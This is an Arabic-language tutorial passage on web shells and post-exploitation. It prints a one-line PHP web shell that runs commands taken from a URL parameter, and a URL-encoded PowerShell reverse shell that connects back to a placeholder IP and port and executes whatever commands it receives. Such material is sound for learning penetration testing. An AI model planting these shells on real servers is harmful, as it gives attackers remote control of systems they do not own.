[]
الـ Web Shells و ما بعد الاستغلال[/]
الـ
Web Shells ببساطة بشتغل جوا الويب سيرفر (عادة بلغات زي
PHP أو
ASP) اللي بينفذ كود على السيرفر
في الأساس بنكتب الأوامر في صفحة الويب - إما عن طريق فورم
HTML أو مباشرة في الـ
URL - والبرنامج بنفذ الأوامر هاي وبرجعلنا النتيجة وبكتبها على الصفحة
الـ
PHP هي أكثر لغة
scripting مستخدمة على السيرفرات
مثال بشكل بسيط :
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
الكود هاد بوخد باراميتر
GET من الـ
URL وبنفذه على النظام باستخدام
()shell_exec
يعني أي أوامر بنكتبها بالـ URL بعد
=cmd? بتتنفذ على النظام - سواء كان ويندوز أو لينكس , العنصر
pre بضمن إن النتائج تتنسق بشكل صحيح على الصفحة
[]
[/]
زي ما هو مبين بالصوره استخدمنا الأمر
ifconfig اللي رجع معلومات الشبكة صح يعني لما دخلنا أمر
ifconfig (اللي بشيك على واجهات الشبكة في لينكس) في الـ
URL الخاص بالـ shell اللي دخلناه نفذ الامر على النظام ورجعلنا النتائج واكيد لو جربنا اوامر ثانيه بتشتغل زي (
whoami،
hostname،
arch، إلخ)
في مجموعه من الـ shell موجوده في لينكس بشكل تلقائي زي ما حكينا قبل بهاد المسار
/usr/share/webshells - منها الـ
PentestMonkey php-reverse-shell اللي يعتبر مشهور مكتوب بلغة
PHP معظم الـ
revers shells مكتوبة لأهداف معينه مثل اهداف مبنية على يونيكس زي لينكس...الخ لكن ما بشتغلو على ويندوز بشكل افتراضي
لما الهدف يكون ويندوز أسهل طريقة عشان نحصل على
RCE هي استخدام
Web Shells أو باستخدام
msfvenom لتوليد
revers/bind shell بلغة السيرفر
بالطريقة الأولى عشان نحصل على تنفيذ عن بُعد بنعملها عن طريق
shell powershell مشفرة في الـ URL هاد بنتسخ بالـ URL كـ
argument تحت اسم
cmd :
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
هاي نفس الشل اللي سبق واعطينا عنها مثال قبل بالموضوع
الـ Shell Payloads بس هون مشفرة بشكل مُناسب لتستخدم في باراميتر
GET واكيد الآي بي والبورت لسا لازم يتغير في الكود